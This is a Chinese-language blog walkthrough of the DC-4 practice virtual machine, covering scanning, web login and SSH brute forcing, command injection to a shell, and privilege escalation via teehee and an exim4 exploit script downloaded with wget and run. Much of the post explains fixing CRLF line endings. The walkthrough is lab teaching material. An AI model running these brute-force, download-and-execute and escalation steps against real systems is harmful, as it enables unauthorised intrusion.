dc-4

news/2024/11/16 15:55:28/文章来源:https://www.cnblogs.com/dghh/p/18410821

靶机下载地址:dc-4

找靶机

nmap -sV 192.168.6.0/24

image

查看一下端口服务

image

很明显就只是一个简单的登录框
我们爆破一下
最终得到用户名:admin 密码:happy

进去看看怎么个事
image

很明显是一个选择既定的命令进行命令执行
我们可以抓包然后即可使用我们自己设计的命令

image

直接拿shell

image

然后再实现交互

python -c "import pty;pty.spawn('/bin/bash')"

image

经过一系列探索我们发现在home目录下有一个jim用户里面有可疑文件
image

怀疑是让我们去爆破此用户的密码
我们吧此可疑文件的内容保存去用来爆破密码即可

hydra -l jim.txt -p jim -vV ssh://192.168.6.130

image

成功爆出登陆即可

image

登陆后发现了存在邮件
查看是否有可疑信息
结果又发现一个用户很简单了我们直接登陆即可

image
(邮件在/var/spool/mail)

登陆后经过一系列探索发现发现可以teehee提权

image

成功

image

后来又发现一种新方法
就是直接在
获得shell之后直接suid进行提权即可
先查询可利用的文件

find / -perm -u=s -type f 2>/dev/null

image

可利用exim4来进行提权

首先我们先去本地漏洞库进行查看

searchsploit exim 4

image

发现符合的利用程序

先将其放到我们kali上

image

image

再在/var/www/html目录下使用命令
systemctl start apache2.service

命令作用:
当你执行 systemctl start apache2.service 时,它会尝试启动 Apache Web 服务器。如果 Apache 服务器已经安装但没有启动,该命令会启动它,并使其开始监听 HTTP 请求,通常是在默认的 80 端口(HTTP)或 443 端口(HTTPS)。

然后我们即可用靶机直接

wget http://kali的ip/46996.sh

即可成功获得文件

加上权限直接执行即可获得权限

如果失败下面是原因:

在 Linux 环境下执行 shell 脚本时,脚本的格式必须符合 Unix 系统的标准。如果脚本格式为 DOS(Windows)的格式,可能会出现执行错误,导致提权失败。通常问题的根源是 Windows 和 Unix 系统使用不同的换行符。1. 问题的原因:DOS 和 Unix 换行符的区别
Unix/Linux 换行符:\n(Line Feed,简称 LF)
Windows/DOS 换行符:\r\n(Carriage Return + Line Feed,简称 CRLF)
如果一个脚本是从 Windows 系统中创建或编辑的,它的换行符可能是 CRLF 格式。Linux 在执行带有 CRLF 换行符的脚本时,可能会因为换行符格式不兼容而无法正确执行,导致错误如:/bin/bash^M: bad interpreter: No such file or directory
这个 ^M 是由于 DOS 格式的 CR 字符导致的。2. 解决方法:转换为 Unix 格式
要解决这个问题,必须将脚本的换行符从 DOS 格式(CRLF)转换为 Unix 格式(LF)。有多种方式可以实现这一点:方法 1:使用 Vim 进行转换
Vim 编辑器可以轻松地将文件格式转换为 Unix 格式。你提到的解决方法正是通过 Vim 实现的,步骤如下:打开脚本文件:vim shell.sh
转换文件格式: 在 Vim 中输入以下命令:
:set ff=unix
这里的 ff 代表 fileformat,设置为 unix 后,Vim 会将文件的换行符转换为 Unix 格式。
保存并退出: 按 Esc,然后输入以下命令保存并退出 Vim:
:wq
这将确保文件的换行符为 Unix 格式,使得在 Linux 系统中执行时不再出现换行符兼容性的问题。方法 2:使用 dos2unix 工具
如果不想用 Vim 编辑器,你可以使用专门的工具 dos2unix 来转换文件格式。安装 dos2unix(如果未安装):sudo apt-get install dos2unix
转换脚本文件:dos2unix shell.sh
这会将文件的换行符从 DOS 格式转换为 Unix 格式。方法 3:使用 sed 命令
你也可以通过 sed 命令来删除 CR 字符:sed -i 's/\r$//' shell.sh
这条命令会将脚本中的 \r(CR)删除,从而转换为 Unix 格式。3. 提权流程
在靶机中,由于最初脚本的格式是 DOS 格式,导致无法正确执行。执行以下步骤可以解决问题并成功提权:在攻击机中修改 shell 脚本:确保脚本的格式为 Unix 格式。使用 Vim 编辑器的 :set ff=unix 或其他工具(如 dos2unix)将文件格式转换为 Unix。
重新下载脚本到靶机:在靶机中,通过网络(如使用 wget 或 scp)下载修改后的脚本。赋予执行权限:在靶机中,使用 chmod 命令赋予脚本执行权限:chmod +x shell.sh
执行脚本进行提权:运行脚本,成功提权:./shell.sh
获得最终的 flag:执行成功后,获得系统权限并读取系统中的 flag 文件。总结
提权失败的原因是由于 shell.sh 文件使用了 DOS 格式,Linux 无法执行带有 CRLF 换行符的脚本。
通过将文件的格式转换为 Unix 格式(LF 换行符),解决了换行符兼容性的问题。
在靶机中重新下载修改后的脚本并赋予执行权限,成功执行脚本完成提权,获得最终的 flag。
这个问题在跨平台开发环境中(如从 Windows 到 Linux 传输文件)非常常见,解决方法是确保文件格式与目标平台兼容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/796236.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java方法:什么是方法?

java方法是语句的集合,它们在一起执行一个功能:方法是解决一类问题的步骤的有序组合 方法包含于类或对象中 方法在程序中被创建,在其他地方被引用 例如:即 ______()是方法 设计方法的原则:方法的本意时功能块,就是实现某个功能块,就是实现某个功能的语句块的集合,所以…

pediatrics_llm_qa:儿科问诊小模型

项目简介 本项目开源了基于儿科医疗指令微调的问诊模型:pediatrics_llm_qa(GitHub - jiangnanboy/pediatrics_llm_qa),目前模型的主要功能如下:智能问诊:问诊后给出诊断结果和建议。更新[2024/09/11] 开源了基于Qwen2-1.5B-instruct lora指令微调的儿科问诊模型开源模型模型…

WPF 已知问题 包含 NaN 的 Geometry 几何可能导致渲染层抛出 UCEERR_RENDERTHREADFAILURE 异常

本文记录一个 WPF 已知问题,当传入到渲染的 Geometry 几何里面包含了 NaN 数值,将可能让应用程序收到从渲染层抛上来的 UCEERR_RENDERTHREADFAILURE 异常,且此异常缺乏必要信息,比较难定位到具体错误逻辑此问题是小伙伴报告给我的,详细请看 https://github.com/dotnet/wpf…

WPF 尝试使用 WinML 做一个简单的手写数字识别应用

最近我看了微软的 AI 训练营之后,似乎有点了解 Windows Machine Learning 和 DirectML 的概念,于是我尝试实践一下,用 WPF 写一个简单的触摸手写输入的画板,再使用大佬训练好的 mnist.onnx 模型,对接 WinML 实现一个简单的手写数字识别应用最近我看了微软的 AI 训练营之后…

VisualStudio 2022 找不到内存 反汇编 寄存器调试工具

本文将告诉大家如何解决在 VisualStudio 2022 的 调试-窗口 里面找不到内存、 反汇编、 寄存器这三个调试工具的问题找不到的原因是没有启用地址级调试 只需要在“工具”(或“调试”)>“选项”>“调试”中选择“启用地址级调试” 然后进行调试即可看到开启之后,即可在…

【TS】TypeScript基础详解【一】

Javascript 类型缺陷 类型引发的问题 在编程开发中,有一个共识:错误越早发现,就越容易解决。 例如:能在代码编写时发现错误,就不要等到代码编译时才发现(这也是IDE的优势之一)。 能在代码编译时发现错误,就不要在代码运行时才发现(类型检测可以帮助我们在这 方面做得很好…

【OpenFeign 】OpenFeign 的常用配置

1 前言 上节我们看了下 OpenFeign 里的重试,在从源码的角度看它的执行原理的时候,又意外的遇到了一个【OpenFeign 】OpenFeign 下未开启重试,服务却被调用了两次 的问题的分析,后面我们又看了重试器的入场和执行时机,那么本节我们看看 OpenFeign 的一些常用配置,以及全局…

Splay 浅谈

Splay 树 定义 Splay 树是一个二叉平衡搜索树,它可以通过 Splay 操作 将一个结点旋转至根结点或者一个给定的结点的下一层,使得整棵树仍然满足二叉搜索树的性质。 Splay 树可以在均摊 \(O(\log n)\) 的时间内完成查找、插入、查询、删除等操作。二叉搜索树的定义:空树是一个…

从kmp到AC自动机

知道kmp的请跳过这一段 找到最清晰的解析 kmp 我看了约114514个解析才搞懂 如何求next 首先,next[i]本应表示0~i的字符串的最长相同前缀后缀的长度。 不过为了方便匹配,实际可以存最长相同前缀后缀时前缀最后一个的地址 听起来好绕 那这么说吧: 例如串 abaabaabaab next[0]=…

LinkedHashMap原理详解—从LRU缓存机制说起

写在前面 从一道Leetcode题目说起 首先,来看一下Leetcode里面的一道经典题目:146.LRU缓存机制,题目描述如下:请你设计并实现一个满足 LRU (最近最少使用) 缓存 约束的数据结构。 实现 LRUCache 类:LRUCache(int capacity) 以 正整数 作为容量 capacity 初始化 LRU 缓存 in…

微积分快速入门1部分:直觉

1 一分钟微积分:X射线和延时视觉 我们通常只看到图形、公式和情况的表面价值。微积分为我们提供了两种深入挖掘的超能力:X射线能看到图案中隐藏的部分。你不仅能看到树,还能知道它是由年轮组成的,在我们说话的同时,另一个年轮也在生长。延时视觉你能看到物体未来的运行轨迹…

torch.nn.Embedding的导入与导出

简介及导入转自:torch.nn.Embedding使用在RNN模型的训练过程中,需要用到词嵌入,使用torch.nn.Embedding可以快速的完成:只需要初始化torch.nn.Embedding(n,m)即可(n是单词总数,m是词向量的维度)(n是嵌入字典的大小,m是嵌入向量的维度。)。 注意: embedding开始是随机的…